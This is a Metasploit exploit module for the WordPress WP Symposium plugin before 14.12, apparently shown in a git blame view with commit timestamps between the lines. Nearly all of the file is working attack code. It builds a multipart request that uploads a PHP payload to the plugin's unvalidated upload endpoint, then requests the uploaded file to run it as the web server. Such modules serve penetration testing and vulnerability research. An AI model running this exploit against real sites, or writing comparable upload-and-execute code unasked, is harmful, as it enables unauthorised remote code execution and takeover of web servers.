Files
metasploit-gs/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb
T

96 lines
3.4 KiB
Ruby
Raw Normal View History

2015-01-07 22:02:39 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-01-07 22:02:39 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-01-07 22:02:39 +00:00
Rank = ExcellentRanking
2015-01-08 21:07:00 +00:00
include Msf::Exploit::FileDropper
2015-10-15 11:47:13 -05:00
include Msf::Exploit::Remote::HTTP::Wordpress
2015-01-07 22:02:39 +00:00
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
'Description' => %q{
WP Symposium Plugin for WordPress contains a flaw that allows a remote attacker
to execute arbitrary PHP code. This flaw exists because the
/wp-symposium/server/file_upload_form.php script does not properly verify or
sanitize user-uploaded files. By uploading a .php file, the remote system will
place the file in a user-accessible path. Making a direct request to the
uploaded file will allow the attacker to execute the script with the privileges
of the web server.
},
2015-01-07 22:02:39 +00:00
'License' => MSF_LICENSE,
'Author' =>
[
2018-10-01 18:59:09 +01:00
'Claudio Viviani', # Vulnerability disclosure
'rastating' # Metasploit module
2015-01-07 22:02:39 +00:00
],
'References' =>
[
['OSVDB', '116046'],
2015-01-07 22:02:39 +00:00
['WPVDB', '7716']
],
'DisclosureDate' => 'Dec 11 2014',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-symposium < 14.12', {}]],
'DefaultTarget' => 0
))
end
def check
check_plugin_version_from_readme('wp-symposium', '14.12')
end
def generate_mime_message(payload, payload_name, directory_name, symposium_url)
data = Rex::MIME::Message.new
data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
data
end
def exploit
2016-02-01 15:12:03 -06:00
print_status("Preparing payload")
2015-01-08 20:53:56 +00:00
unique_name = Rex::Text.rand_text_alpha(10)
2015-01-07 22:02:39 +00:00
payload_name = "#{unique_name}.php"
2015-01-08 20:53:56 +00:00
symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
2015-01-07 22:02:39 +00:00
payload_url = normalize_uri(symposium_url, unique_name, payload_name)
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
symposium_url = normalize_uri(symposium_url, 'index.php')
2016-02-01 15:12:03 -06:00
print_status("Uploading payload to #{payload_url}")
2015-01-07 22:02:39 +00:00
res = send_request_cgi(
'method' => 'POST',
'uri' => symposium_url,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
2016-02-01 15:12:03 -06:00
print_good("Uploaded the payload")
2015-01-08 21:07:00 +00:00
register_files_for_cleanup(payload_name)
2016-02-01 15:12:03 -06:00
print_status("Executing the payload...")
2015-01-07 22:02:39 +00:00
send_request_cgi(
{
'uri' => payload_url,
'method' => 'GET'
}, 5)
2016-02-01 15:12:03 -06:00
print_good("Executed payload")
2015-01-07 22:02:39 +00:00
else
2015-01-08 20:53:56 +00:00
if res.nil?
fail_with(Failure::Unreachable, "No response from the target")
else
2016-02-01 15:12:03 -06:00
vprint_error("HTTP Status: #{res.code}")
vprint_error("Server returned: #{res.body}")
2015-01-08 20:53:56 +00:00
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
end
2015-01-07 22:02:39 +00:00
end
end
end